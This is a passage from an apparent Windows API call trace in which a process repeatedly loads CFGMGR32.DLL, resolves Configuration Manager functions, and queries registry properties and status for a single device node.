lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.741] malloc (_Size=0x18) returned 0x20abc281ea0 [0196.741] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0196.741] malloc (_Size=0x54) returned 0x20abc2a76c0 [0196.741] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a76c0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a76c0, pulLength=0x2dc22fd3f8) returned 0x0 [0196.742] free (_Block=0x20abc2a76c0) [0196.742] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x31085c9d, dwHighDateTime=0x1d9eb0c)) [0196.742] SetEvent (hEvent=0x248) returned 1 [0196.745] malloc (_Size=0x18) returned 0x20abc281e60 [0196.745] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0196.745] free (_Block=0x20abc281e60) [0196.745] malloc (_Size=0x18) returned 0x20abc281c40 [0196.745] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0196.745] free (_Block=0x20abc281c40) [0196.746] malloc (_Size=0x18) returned 0x20abc281f20 [0196.746] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0196.746] free (_Block=0x20abc281f20) [0196.746] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bff0 [0196.746] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0196.746] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0196.746] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0196.746] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0196.746] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0196.746] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0196.746] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0196.746] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0196.746] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.747] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.747] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.747] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0196.748] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bff0) returned 1 [0196.748] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.748] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.751] malloc (_Size=0x18) returned 0x20abc281a00 [0196.752] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.752] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x310abf90, dwHighDateTime=0x1d9eb0c)) [0196.752] SetEvent (hEvent=0x248) returned 1 [0196.755] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.755] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.755] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.758] malloc (_Size=0x18) returned 0x20abc281f20 [0196.758] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.758] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x310abf90, dwHighDateTime=0x1d9eb0c)) [0196.758] SetEvent (hEvent=0x248) returned 1 [0196.761] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.761] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.764] malloc (_Size=0x18) returned 0x20abc281fe0 [0196.764] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.765] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x310abf90, dwHighDateTime=0x1d9eb0c)) [0196.765] SetEvent (hEvent=0x248) returned 1 [0196.775] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.775] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.779] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.779] malloc (_Size=0x18) returned 0x20abc281ac0 [0196.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0196.780] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x310d2223, dwHighDateTime=0x1d9eb0c)) [0196.780] SetEvent (hEvent=0x248) returned 1 [0196.785] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.785] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.788] malloc (_Size=0x18) returned 0x20abc282060 [0196.788] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.790] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x310f83ce, dwHighDateTime=0x1d9eb0c)) [0196.790] SetEvent (hEvent=0x248) returned 1 [0196.887] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.887] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.890] malloc (_Size=0x18) returned 0x20abc281960 [0196.890] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x18, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0196.891] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x311dd174, dwHighDateTime=0x1d9eb0c)) [0196.892] SetEvent (hEvent=0x248) returned 1 [0196.896] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.896] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.898] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.898] GetProcAddress 